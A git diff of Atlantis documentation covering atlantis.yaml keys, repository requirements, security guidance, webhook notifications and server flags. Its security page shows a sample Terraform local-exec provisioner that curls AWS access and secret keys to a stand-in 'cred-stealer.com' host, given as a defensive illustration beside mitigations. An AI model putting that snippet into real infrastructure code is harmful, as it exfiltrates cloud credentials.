+automerge: false +delete_source_branch_on_merge: false projects: workflows: +allowed_regexp_prefixes: ``` -| Key | Type | Default | Required | Description | -|-------------------------------|----------------------------------------------------------|---------|----------|-------------------------------------------------------------| -| version | int | none | **yes** | This key is required and must be set to `3` | -| automerge | bool | `false` | no | Automatically merge pull request when all plans are applied | -| projects | array[[Project](repo-level-atlantis-yaml.html#project)] | `[]` | no | Lists the projects in this repo | -| workflows
*(restricted)* | map[string: [Workflow](custom-workflows.html#reference)] | `{}` | no | Custom workflows | + +| Key | Type | Default | Required | Description | +|-------------------------------|--------------------------------------------------------|---------|----------|------------------------------------------------------------------------------------------------------------------------------------| +| version | int | none | **yes** | This key is required and must be set to `3`. | +| automerge | bool | `false` | no | Automatically merges pull request when all plans are applied. | +| delete_source_branch_on_merge | bool | `false` | no | Automatically deletes the source branch on merge. | +| projects | array[[Project](repo-level-atlantis-yaml.md#project)] | `[]` | no | Lists the projects in this repo. | +| workflows
*(restricted)* | map[string: [Workflow](custom-workflows.md#reference)] | `{}` | no | Custom workflows. | +| allowed_regexp_prefixes | array\[string\] | `[]` | no | Lists the allowed regexp prefixes to use when the [`--enable-regexp-cmd`](server-configuration.md#enable-regexp-cmd) flag is used. | ### Project + ```yaml name: myname +branch: /mybranch/ dir: mydir workspace: myworkspace +execution_order_group: 0 +delete_source_branch_on_merge: false +repo_locking: true # deprecated: use repo_locks instead +repo_locks: + mode: on_plan +custom_policy_check: false autoplan: terraform_version: 0.11.0 +plan_requirements: ["approved"] apply_requirements: ["approved"] +import_requirements: ["approved"] +silence_pr_comments: ["apply"] workflow: myworkflow ``` -| Key | Type | Default | Required | Description | -|----------------------------------------|-----------------------|-------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| name | string | none | maybe | Required if there is more than one project with the same `dir` and `workspace`. This project name can be used with the `-p` flag. | -| dir | string | none | **yes** | The directory of this project relative to the repo root. For example if the project was under `./project1` then use `project1`. Use `.` to indicate the repo root. | -| workspace | string | `"default"` | no | The [Terraform workspace](https://www.terraform.io/docs/state/workspaces.html) for this project. Atlantis will switch to this workplace when planning/applying and will create it if it doesn't exist. | -| autoplan | [Autoplan](#autoplan) | none | no | A custom autoplan configuration. If not specified, will use the autoplan config. See [Autoplanning](autoplanning.html). | -| terraform_version | string | none | no | A specific Terraform version to use when running commands for this project. Must be [Semver compatible](https://semver.org/), ex. `v0.11.0`, `0.12.0-beta1`. | -| apply_requirements
*(restricted)* | array[string] | none | no | Requirements that must be satisfied before `atlantis apply` can be run. Currently the only supported requirements are `approved` and `mergeable`. See [Apply Requirements](apply-requirements.html) for more details. | -| workflow
*(restricted)* | string | none | no | A custom workflow. If not specified, Atlantis will use its default workflow. | +| Key | Type | Default | Required | Description | +|-----------------------------------------|-------------------------|-----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| name | string | none | maybe | Required if there is more than one project with the same `dir` and `workspace`. This project name can be used with the `-p` flag. | +| branch | string | none | no | Regex matching projects by the base branch of pull request (the branch the pull request is getting merged into). Only projects that match the PR's branch will be considered. By default, all branches are matched. | +| dir | string | none | **yes** | The directory of this project relative to the repo root. For example if the project was under `./project1` then use `project1`. Use `.` to indicate the repo root. | +| workspace | string | `"default"` | no | The [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) for this project. Atlantis will switch to this workplace when planning/applying and will create it if it doesn't exist. | +| execution_order_group | int | `0` | no | Index of execution order group. Projects will be sort by this field before planning/applying. | +| delete_source_branch_on_merge | bool | `false` | no | Automatically deletes the source branch on merge. | +| repo_locking | bool | `true` | no | (deprecated) Get a repository lock in this project when plan. | +| repo_locks | [RepoLocks](#repolocks) | `mode: on_plan` | no | Get a repository lock in this project on plan or apply. See [RepoLocks](#repolocks) for more details. | +| custom_policy_check | bool | `false` | no | Enable using policy check tools other than Conftest | +| autoplan | [Autoplan](#autoplan) | none | no | A custom autoplan configuration. If not specified, will use the autoplan config. See [Autoplanning](autoplanning.md). | +| terraform_version | string | none | no | A specific Terraform version to use when running commands for this project. Must be [Semver compatible](https://semver.org/), ex. `v0.11.0`, `0.12.0-beta1`. | +| plan_requirements
*(restricted)* | array\[string\] | none | no | Requirements that must be satisfied before `atlantis plan` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details. | +| apply_requirements
*(restricted)* | array\[string\] | none | no | Requirements that must be satisfied before `atlantis apply` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details. | +| import_requirements
*(restricted)* | array\[string\] | none | no | Requirements that must be satisfied before `atlantis import` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details. | +| silence_pr_comments | array\[string\] | none | no | Silence PR comments from defined stages while preserving PR status checks. Supported values are: `plan`, `apply`. | +| workflow
*(restricted)* | string | none | no | A custom workflow. If not specified, Atlantis will use its default workflow. | ::: tip A project represents a Terraform state. Typically, there is one state per directory and workspace however it's possible to have multiple states in the same directory using `terraform init -backend-config=custom-config.tfvars`. -Atlantis supports this but requires the `name` key to be specified. See [Custom Backend Config](custom-workflows.html#custom-backend-config) for more details. +Atlantis supports this but requires the `name` key to be specified. See [Custom Backend Config](custom-workflows.md#custom-backend-config) for more details. ::: ### Autoplan + ```yaml enabled: true -when_modified: ["*.tf", "terragrunt.hcl"] +when_modified: ["*.tf", "terragrunt.hcl", ".terraform.lock.hcl"] ``` -| Key | Type | Default | Required | Description | -|---------------|---------------|----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| enabled | boolean | `true` | no | Whether autoplanning is enabled for this project. | -| when_modified | array[string] | `["**/*.tf*"]` | no | Uses [.dockerignore](https://docs.docker.com/engine/reference/builder/#dockerignore-file) syntax. If any modified file in the pull request matches, this project will be planned. See [Autoplanning](autoplanning.html). Paths are relative to the project's dir. | + +| Key | Type | Default | Required | Description | +|-----------------------|-----------------|----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| enabled | boolean | `true` | no | Whether autoplanning is enabled for this project. | +| when_modified | array\[string\] | `["**/*.tf*"]` | no | Uses [.dockerignore](https://docs.docker.com/engine/reference/builder/#dockerignore-file) syntax. If any modified file in the pull request matches, this project will be planned. See [Autoplanning](autoplanning.md). Paths are relative to the project's dir. | + +### RepoLocks + +```yaml +mode: on_apply +``` + +| Key | Type | Default | Required | Description | +|------|--------|-----------|----------|---------------------------------------------------------------------------------------------------------------------------------------| +| mode | `Mode` | `on_plan` | no | Whether or not repository locks are enabled for this project on plan or apply. Valid values are `disabled`, `on_plan` and `on_apply`. | diff --git a/runatlantis.io/docs/requirements.md b/runatlantis.io/docs/requirements.md index 741550ad11..ba13dab4b8 100644 --- a/runatlantis.io/docs/requirements.md +++ b/runatlantis.io/docs/requirements.md @@ -1,40 +1,45 @@ # Requirements + Atlantis works with most Git hosts and Terraform setups. Read on to confirm it works with yours. -[[toc]] - ## Git Host + Atlantis integrates with the following Git hosts: * GitHub (public, private or enterprise) * GitLab (public, private or enterprise) +* Gitea (public, private and compatible forks like Forgejo) * Bitbucket Cloud aka bitbucket.org (public or private) * Bitbucket Server aka Stash * Azure DevOps ## Terraform State + Atlantis supports all backend types **except for local state**. We don't support local state because Atlantis does not have permanent storage and it doesn't commit the new statefile back to version control. :::tip -If you're looking for an easy remote state solution, check out [free remote state](https://app.terraform.io/signup) +If you're looking for an easy remote state solution, check out [free remote state](https://app.terraform.io) storage from Terraform Cloud. This is fully supported by Atlantis. ::: ## Repository Structure + Atlantis supports any Terraform repository structure, for example: ### Single Terraform Project At Repo Root -``` + +```plain . ├── main.tf └── ... ``` ### Multiple Project Folders -``` + +```plain . ├── project1 │   ├── main.tf @@ -45,7 +50,8 @@ Atlantis supports any Terraform repository structure, for example: ``` ### Modules -``` + +```plain . ├── project1 │   ├── main.tf @@ -55,35 +61,68 @@ Atlantis supports any Terraform repository structure, for example:    ├── main.tf └── ... ``` + With modules, if you want `project1` automatically planned when `module1` is modified -you need to create an `atlantis.yaml` file. See [atlantis.yaml Use Cases](repo-level-atlantis-yaml.html#configuring-planning) for more details. +you need to create an `atlantis.yaml` file. See [atlantis.yaml Use Cases](repo-level-atlantis-yaml.md#configuring-planning) for more details. -### Terraform Workspaces -*See [Terraform's docs](https://www.terraform.io/docs/state/workspaces.html) if you are unfamiliar with workspaces.* +### Terraform Workspaces + +*See [Terraform's docs](https://developer.hashicorp.com/terraform/language/state/workspaces) if you are unfamiliar with workspaces.* If you're using Terraform `>= 0.9.0`, Atlantis supports workspaces through an `atlantis.yaml` file that tells Atlantis the names of your workspaces -(see [atlantis.yaml Use Cases](repo-level-atlantis-yaml.html#supporting-terraform-workspaces) for more details) +(see [atlantis.yaml Use Cases](repo-level-atlantis-yaml.md#supporting-terraform-workspaces) for more details) ### .tfvars Files -``` + +```plain . ├── production.tfvars │── staging.tfvars └── main.tf ``` -For Atlantis to be able to plan automatically with `.tfvars files`, you need to create -an `atlantis.yaml` file to tell it to use `-var-file={YOUR_FILE}`. -See [atlantis.yaml Use Cases](custom-workflows.html#tfvars-files) for more details. + +Atlantis supports `.tfvars` files in two ways: + +#### Automatic env/{workspace}.tfvars files + +Atlantis automatically includes workspace-specific variable files if they exist in an `env/` directory: + +```plain +. +├── main.tf +├── variables.tf +└── env/ + ├── default.tfvars + ├── staging.tfvars + └── production.tfvars +``` + +When using this structure, Atlantis will automatically include the appropriate file based on the workspace: + +* `atlantis plan` includes `env/default.tfvars` +* `atlantis plan -w staging` includes `env/staging.tfvars` +* `atlantis plan -w production` includes `env/production.tfvars` + +This requires no additional configuration and works automatically. + +#### Custom .tfvars files with atlantis.yaml + +For other `.tfvars` file locations or structures, you need to create +an `atlantis.yaml` file to tell Atlantis to use `-var-file={YOUR_FILE}`. +See [atlantis.yaml Use Cases](custom-workflows.md#tfvars-files) for more details. ### Multiple Repos + Atlantis supports multiple repos as well–as long as there is a webhook configured for each repo. ## Terraform Versions + Atlantis supports all Terraform versions (including 0.12) and can be configured -to use different versions for different repositories/projects. See [Terraform Versions](terraform-versions.html). +to use different versions for different repositories/projects. See [Terraform Versions](terraform-versions.md). ## Next Steps + * If your Terraform setup meets the Atlantis requirements, continue the installation - guide and set up your [Git Host Access Credentials](access-credentials.html) + guide and set up your [Git Host Access Credentials](access-credentials.md) diff --git a/runatlantis.io/docs/security.md b/runatlantis.io/docs/security.md index 47a38b2c19..daa2bdfecb 100644 --- a/runatlantis.io/docs/security.md +++ b/runatlantis.io/docs/security.md @@ -1,53 +1,76 @@ # Security -[[toc]] + ## Exploits + Because you usually run Atlantis on a server with credentials that allow access to your infrastructure it's important that you deploy Atlantis securely. Atlantis could be exploited by -* Running `terraform apply` on a malicious Terraform file with [local-exec](https://www.terraform.io/docs/provisioners/local-exec.html) -```tf -resource "null_resource" "null" { - provisioner "local-exec" { - command = "curl https://cred-stealer.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } -} -``` -* Running malicious hook commands specified in an `atlantis.yaml` file. -* Someone adding `atlantis plan/apply` comments on your valid pull requests causing terraform to run when you don't want it to. -## Bitbucket Cloud (bitbucket.org) -::: danger -Bitbucket Cloud does not support webhook secrets. This could allow attackers to spoof requests from Bitbucket. Ensure you are allowing only Bitbucket IPs. -::: -Bitbucket Cloud doesn't support webhook secrets. This means that an attacker could -make fake requests to Atlantis that look like they're coming from Bitbucket. +* An attacker submitting a pull request that contains a malicious Terraform file that + uses a malicious provider or an [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) + that Atlantis then runs `terraform plan` on (which it does automatically unless you've turned off automatic plans). +* Running `terraform apply` on a malicious Terraform file with [local-exec](https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec) -If you are specifying `--repo-allowlist` then they could only fake requests pertaining -to those repos so the most damage they could do would be to plan/apply on your -own repos. + ```tf + resource "null_resource" "null" { + provisioner "local-exec" { + command = "curl https://cred-stealer.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" + } + } + ``` -To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) - (see Outbound IPv4 addresses). +* Running malicious custom build commands specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** `main`. +* Someone adding `atlantis plan/apply` comments on your valid pull requests causing terraform to run when you don't want it to. ## Mitigations + ### Don't Use On Public Repos -Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos until Atlantis gets an authentication system. + +Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. ### Don't Use `--allow-fork-prs` + If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo. ### `--repo-allowlist` + Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example: + * Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` * Your whole organization: `--repo-allowlist=github.com/runatlantis/*` * Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*` +* You can also omit specific repos: `--repo-allowlist='github.com/runatlantis/*,!github.com/runatlantis/untrusted-repo'` * All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret. This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details. +### Protect Terraform Planning + +If attackers submitting pull requests with malicious Terraform code is in your threat model +then you must be aware that `terraform apply` approvals are not enough. It is possible +to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) +or by specifying a malicious provider. This code could then exfiltrate your credentials. + +To prevent this, you could: + +1. Bake providers into the Atlantis image or host and deny egress in production. +1. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry. +1. Modify your [server-side repo configuration](server-side-repo-config.md)'s `plan` step to validate against the + use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. + requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here. + +### `--var-file-allowlist` + +The files on your Atlantis install may be accessible as [variable definition files](https://developer.hashicorp.com/terraform/language/values/variables#variable-definitions-tfvars-files) +from pull requests by adding +`atlantis plan -- -var-file=/path/to/file` comments. To mitigate this security risk, Atlantis has limited such access +only to the files allowlisted by the `--var-file-allowlist` flag. If this argument is not provided, it defaults to +Atlantis' data directory. + ### Webhook Secrets + Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). @@ -57,9 +80,21 @@ If you are using Azure DevOps, instead of webhook secrets add a [basic username ::: ### Azure DevOps Basic Authentication + Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. ### SSL/HTTPS + If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags. + +### Enable Authentication on Atlantis Web Server + +It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags. + +You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`. + +:::tip Tip +We do encourage the usage of complex passwords in order to prevent basic bruteforcing attacks. +::: diff --git a/runatlantis.io/docs/sending-notifications-via-webhooks.md b/runatlantis.io/docs/sending-notifications-via-webhooks.md new file mode 100644 index 0000000000..9272a25c89 --- /dev/null +++ b/runatlantis.io/docs/sending-notifications-via-webhooks.md @@ -0,0 +1,151 @@ +# Sending notifications via webhooks + +It is possible to send notifications to external systems whenever an apply is being done. + +You can make requests to any HTTP endpoint or send messages directly to your Slack channel. + +::: tip NOTE +Currently only `apply` events are supported. +::: + +## Configuration + +Webhooks are configured in Atlantis [server-side configuration](server-configuration.md). +There can be many webhooks: sending notifications to different destinations or for different +workspaces/branches. Here is example configuration to send Slack messages for every apply: + +```yaml +webhooks: +- event: apply + kind: slack + channel: my-channel-id +``` + +If you are deploying Atlantis as a Helm chart, this can be implemented via the `config` parameter available for [chart customizations](https://github.com/runatlantis/helm-charts#customization): + +```yaml +## Use Server Side Config, +## ref: https://www.runatlantis.io/docs/server-configuration.html +config: | + --- + webhooks: + - event: apply + kind: slack + channel: my-channel-id +``` + +### Filter on workspace/branch + +To limit notifications to particular workspaces or branches, use `workspace-regex` or `branch-regex` parameters. +If the workspace **and** branch matches respective regex, an event will be sent. Note that empty regular expression +(a result of unset parameter) matches every string. + +## Using HTTP webhooks + +You can send POST requests with JSON payload to any HTTP/HTTPS server. + +### Configuring Atlantis + +In your Atlantis [server-side configuration](server-configuration.md) you can add the following: + +```yaml +webhooks: +- event: apply + kind: http + url: https://example.com/hooks +``` + +The `apply` event information will be POSTed to `https://example.com/hooks`. + +You can supply any additional headers with `--webhook-http-headers` parameter (or environment variable), +for example for authentication purposes. See [webhook-http-headers](server-configuration.md#webhook-http-headers) for details. + +### JSON payload + +The payload is a JSON-marshalled [ApplyResult](https://pkg.go.dev/github.com/runatlantis/atlantis/server/events/webhooks#ApplyResult) struct. + +Example payload: + +```json +{ + "Workspace": "default", + "Repo": { + "FullName": "octocat/Hello-World", + "Owner": "octocat", + "Name": "Hello-World", + "CloneURL": "https://:@github.com/octocat/Hello-World.git", + "SanitizedCloneURL": "https://:@github.com/octocat/Hello-World.git", + "VCSHost": { + "Hostname": "github.com", + "Type": 0 + } + }, + "Pull": { + "Num": 2137, + "HeadCommit": "7fd1a60b01f91b314f59955a4e4d4e80d8edf11d", + "URL": "https://github.com/octocat/Hello-World/pull/2137", + "HeadBranch": "feature/some-branch", + "BaseBranch": "main", + "Author": "octocat", + "State": 0, + "BaseRepo": { + "FullName": "octocat/Hello-World", + "Owner": "octocat", + "Name": "Hello-World", + "CloneURL": "https://:@github.com/octocat/Hello-World.git", + "SanitizedCloneURL": "https://:@github.com/octocat/Hello-World.git", + "VCSHost": { + "Hostname": "github.com", + "Type": 0 + } + } + }, + "User": { + "Username": "octocat", + "Teams": null + }, + "Success": true, + "Directory": "terraform/example", + "ProjectName": "example-project" +} +``` + +## Using Slack hooks + +For this you'll need to: + +* Create a Bot user in Slack +* Configure Atlantis to send notifications to Slack. + +### Configuring Slack for Atlantis + +* Go to [Slack: Apps](https://api.slack.com/apps) +* Click the `Create New App` button +* Select `From scratch` in the dialog that opens +* Give it a name, e.g. `atlantis-bot`. +* Select your Slack workspace +* Click `Create App` +* On the left go to `oAuth & Permissions` +* Scroll down to Scopes | Bot Token Scopes and add the following OAuth scopes: + * `channels:read` + * `chat:write` + * `groups:read` + * `incoming-webhook` + * `mpim:read` +* Install the app onto your Slack workspace +* Copy the `Bot User OAuth Token` and provide it to Atlantis by using `--slack-token=xoxb-xxxxxxxxxxx` or via the environment `ATLANTIS_SLACK_TOKEN=xoxb-xxxxxxxxxxx`. +* Create a channel in your Slack workspace (e.g. `my-channel`) or use existing +* Add the app to Created channel or existing channel ( click channel name then tab integrations, there Click "Add apps" + +### Configuring Atlantis + +After following the above steps it is time to configure Atlantis. Assuming you have already provided the `slack-token` (via parameter or environment variable) you can now instruct Atlantis to send `apply` events to Slack. + +In your Atlantis [server-side configuration](server-configuration.md) you can now add the following: + +```yaml +webhooks: +- event: apply + kind: slack + channel: my-channel-id +``` diff --git a/runatlantis.io/docs/server-configuration.md b/runatlantis.io/docs/server-configuration.md index 9dc8b4e7f1..142bb1df62 100644 --- a/runatlantis.io/docs/server-configuration.md +++ b/runatlantis.io/docs/server-configuration.md @@ -1,12 +1,12 @@ # Server Configuration + This page explains how to configure the `atlantis server` command. Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three. -[[toc]] - ## Environment Variables + All flags can be specified as environment variables. 1. Take the flag name, ex. `--gh-user` @@ -24,11 +24,13 @@ The flag `--atlantis-url` is set by the environment variable `ATLANTIS_ATLANTIS_ ::: ## Config File + All flags can also be specified via a YAML config file. To use a YAML config file, run `atlantis server --config /path/to/config.yaml`. The keys of your config file should be the same as the flag names, ex. + ```yaml gh-token: ... log-level: ... @@ -40,17 +42,49 @@ The `--config` config file is only used as an alternate way of setting `atlantis ::: ## Precedence + Values are chosen in this order: + 1. Flags 1. Environment Variables 1. Config File - ## Flags -* ### `--allow-fork-prs` + +### `--allow-commands` + + ```bash + atlantis server --allow-commands=version,plan,apply,unlock,approve_policies + # or + ATLANTIS_ALLOW_COMMANDS='version,plan,apply,unlock,approve_policies' + ``` + + List of allowed commands to be run on the Atlantis server, Defaults to `version,plan,apply,unlock,approve_policies` + + Notes: + +* Accepts a comma separated list, ex. `command1,command2`. +* `version`, `plan`, `apply`, `unlock`, `approve_policies`, `import`, `state` and `all` are available. +* `all` is a special keyword that allows all commands. If pass `all` then all other commands will be ignored. + +### `--allow-draft-prs` + + ```bash + atlantis server --allow-draft-prs + # or + ATLANTIS_ALLOW_DRAFT_PRS=true + ``` + + Respond to pull requests from draft prs. Defaults to `false`. + +### `--allow-fork-prs` + ```bash atlantis server --allow-fork-prs + # or + ATLANTIS_ALLOW_FORK_PRS=true ``` + Respond to pull requests from forks. Defaults to `false`. :::warning SECURITY WARNING @@ -61,314 +95,1097 @@ Values are chosen in this order: which can run arbitrary code if given a malicious Terraform configuration. ::: -* ### `--allow-repo-config` - +### `--api-secret` + ```bash - atlantis server --allow-repo-config + atlantis server --api-secret="secret" + # or (recommended) + ATLANTIS_API_SECRET="secret" ``` - This flag is deprecated. It allows all repos to use all restricted - `atlantis.yaml` keys. See [Repo Level Atlantis.yaml](repo-level-atlantis-yaml.html) for more details. - Instead of using this flag, create a server-side `--repo-config` file: - ```yaml - # repos.yaml - repos: - - id: /.*/ - allowed_overrides: [apply_requirements, workflow] - allow_custom_workflows: true - ``` - Or use - ```bash - --repo-config-json='{"repos":[{"id":"/.*/", "allowed_overrides":["apply_requirements","workflow"], "allow_custom_workflows":true}]}' - ```` + Required secret used to validate requests made to the [`/api/*` endpoints](api-endpoints.md). - ::: warning SECURITY WARNING - This setting enables pull requests to run arbitrary code on the Atlantis server. - Only enable in trusted settings. - ::: +### `--atlantis-url` -* ### `--atlantis-url` ```bash atlantis server --atlantis-url="https://my-domain.com:9090/basepath" # or ATLANTIS_ATLANTIS_URL=https://my-domain.com:9090/basepath ``` + Specify the URL that Atlantis is accessible from. Used in the Atlantis UI and in links from pull request comments. Defaults to `http://$(hostname):$port` where `$port` is from the [`--port`](#port) flag. Supports a basepath if you're hosting Atlantis under a path. -* ### `--automerge` + Notes: + +* If a load balancer with a non http/https port (not the one defined in the `--port` flag) is used, update the URL to include the port like in the example above. +* This URL is used as the `details` link next to each atlantis job to view the job's logs. + +### `--autodiscover-mode` + + ```bash + atlantis server --autodiscover-mode="" + # or + ATLANTIS_AUTODISCOVER_MODE="" + ``` + + Sets auto discover mode, default is `auto`. When set to `auto`, projects in a repo will be discovered by + Atlantis when there are no projects configured in the repo config. If one or more projects are defined + in the repo config then auto discovery will be completely disabled. + + When set to `enabled` projects will be discovered unconditionally. If an auto discovered project is already + defined in the projects section of the repo config, the project from the repo config will take precedence over + the auto discovered project. + + When set to `disabled` projects will never be discovered, even if there are no projects configured in the repo config. + +### `--automerge` + ```bash atlantis server --automerge + # or + ATLANTIS_AUTOMERGE=true ``` + Automatically merge pull requests after all plans have been successfully applied. - Defaults to `false`. See [Automerging](automerging.html) for more details. + Defaults to `false`. See [Automerging](automerging.md) for more details. + +### `--autoplan-file-list` -* ### `--azuredevops-webhook-password` ```bash - atlantis server --azuredevops-webhook-password="password123" + # NOTE: Use single quotes to avoid shell expansion of *. + atlantis server --autoplan-file-list='**/*.tf,project1/*.pkr.hcl' + # or + ATLANTIS_AUTOPLAN_FILE_LIST='**/*.tf,project1/*.pkr.hcl' ``` - Azure DevOps basic authentication password for inbound webhooks (see - https://docs.microsoft.com/en-us/azure/devops/service-hooks/authorize?view=azure-devops). - SECURITY WARNING: If not specified, Atlantis won't be able to validate that the - incoming webhook call came from your Azure DevOps org. This means that an - attacker could spoof calls to Atlantis and cause it to perform malicious - actions. Should be specified via the ATLANTIS_AZUREDEVOPS_BASIC_AUTH environment - variable. -* ### `--azuredevops-webhook-user` + List of file patterns that Atlantis will use to check if a directory contains modified files that should trigger project planning. + + Notes: + +* Accepts a comma separated list, ex. `pattern1,pattern2`. +* Patterns use the [`.dockerignore` syntax](https://docs.docker.com/engine/reference/builder/#dockerignore-file) +* List of file patterns will be used by both automatic and manually run plans. +* When not set, defaults to all `.tf`, `.tfvars`, `.tfvars.json`, `terragrunt.hcl` and `.terraform.lock.hcl` files + (`--autoplan-file-list='**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl'`). +* Setting `--autoplan-file-list` will override the defaults. You **must** add `**/*.tf` and other defaults if you want to include them. +* A custom [Workflow](repo-level-atlantis-yaml.md#configuring-planning) that uses autoplan `when_modified` will ignore this value. + + Examples: + +* Autoplan when any `*.tf` or `*.tfvars` file is modified. + * `--autoplan-file-list='**/*.tf,**/*.tfvars'` +* Autoplan when any `*.tf` file is modified except in `project2/` directory + * `--autoplan-file-list='**/*.tf,!project2'` +* Autoplan when any `*.tf` files or `.yml` files in subfolder of `project1` is modified. + * `--autoplan-file-list='**/*.tf,project2/**/*.yml'` + +::: warning NOTE +By default, changes to modules will not trigger autoplanning. See the flags below. +::: + +### `--autoplan-modules` + +```bash +atlantis server --autoplan-modules +# or +ATLANTIS_AUTOPLAN_MODULES=true +``` + +Defaults to `false`. When set to `true`, Atlantis will trace the local modules of included projects. +Included project are projects with files included by `--autoplan-file-list`. +After tracing, Atlantis will plan any project that includes a changed module. This is equivalent to setting +`--autoplan-modules-from-projects` to the value of `--autoplan-file-list`. See below. + +### `--autoplan-modules-from-projects` + +```bash +atlantis server --autoplan-modules-from-projects='**/init.tf' +# or +ATLANTIS_AUTOPLAN_MODULES_FROM_PROJECTS='**/init.tf' +``` + +Enables auto-planing of projects when a module dependency in the same repository has changed. +This is a list of file patterns like `autoplan-file-list`. + +These patterns select **projects** to index based on the files matched. The index maps modules to the projects that depends on them, +including projects that include the module via other modules. When a module file matching `autoplan-file-list` changes, +all indexed projects will be planned. + +Current default is "" (disabled). + +Examples: + +* `**/*.tf` - will index all projects that have a `.tf` file in their directory, and plan them whenever an in-repo module dependency has changed. +* `**/*.tf,!foo,!bar` - will index all projects containing `.tf` except `foo` and `bar` and plan them whenever an in-repo module dependency has changed. + This allows projects to opt-out of auto-planning when a module dependency changes. + +::: warning NOTE +Modules that are not selected by autoplan-file-list will not be indexed and dependant projects will not be planned. This +flag allows the *projects* to index to be selected, but the trigger for a plan must be a file in `autoplan-file-list`. +::: + +::: warning NOTE +This flag overrides `--autoplan-modules`. If you wish to disable auto-planning of modules, set this flag to an empty string, +and set `--autoplan-modules` to `false`. +::: + +### `--azuredevops-hostname` + ```bash - atlantis server --azuredevops-webhook-user="username@example.com" + atlantis server --azuredevops-hostname="dev.azure.com" + # or + ATLANTIS_AZUREDEVOPS_HOSTNAME="dev.azure.com" ``` - Azure DevOps basic authentication username for inbound webhooks. Can also be specified via the ATLANTIS_AZUREDEVOPS_WEBHOOK_USER - environment variable. -* ### `--azuredevops-token` + Azure DevOps hostname to support cloud and self hosted instances. Defaults to `dev.azure.com`. + +::: warning COMPATIBILITY WARNING +If you are affected by this change [docs](https://learn.microsoft.com/en-us/azure/devops/release-notes/2018/sep-10-azure-devops-launch#administration) +or this [issue](https://github.com/runatlantis/atlantis/issues/5595) +both Service Hooks (v1 & v2) will convert the AD Organization name to lowercase: +Examples: +`https://dev.azure.com/MYCompany/` & `https://mycompany.visualstudio.com/` will be converted to `mycompany` +`https://dev.azure.com/MYCOMPANY/` & `https://myCOMPANY.visualstudio.com/` will be converted to `mycompany` + +This [change](https://github.com/runatlantis/atlantis/pull/5596) will be applied from version v0.35.0 + +What to do if you have pending plans that were generated with a previous version? +Running an atlantis unlock from v0.35.0 on your current PRs will ignore the files on the `MYCompany` folder. On the next atlantis plan will use the `mycompany` folder and generate everything in the new folder name +::: + +### `--azuredevops-token` + ```bash - atlantis server --azuredevops-token="username@example.com" + atlantis server --azuredevops-token="RandomStringProducedByAzureDevOps" + # or (recommended) + ATLANTIS_AZUREDEVOPS_TOKEN="RandomStringProducedByAzureDevOps" ``` - Azure DevOps token of API user. Can also be specified via the ATLANTIS_AZUREDEVOPS_TOKEN - environment variable. -* ### `--azuredevops-user` + Azure DevOps token of API user. + +### `--azuredevops-user` + ```bash atlantis server --azuredevops-user="username@example.com" + # or + ATLANTIS_AZUREDEVOPS_USER="username@example.com" ``` + Azure DevOps username of API user. -* ### `--bitbucket-base-url` +### `--azuredevops-webhook-password` + + ```bash + atlantis server --azuredevops-webhook-password="password123" + # or (recommended) + ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD="password123" + ``` + + Azure DevOps basic authentication password for inbound webhooks (see + [docs](https://docs.microsoft.com/en-us/azure/devops/service-hooks/authorize?view=azure-devops)). + + ::: warning SECURITY WARNING + If not specified, 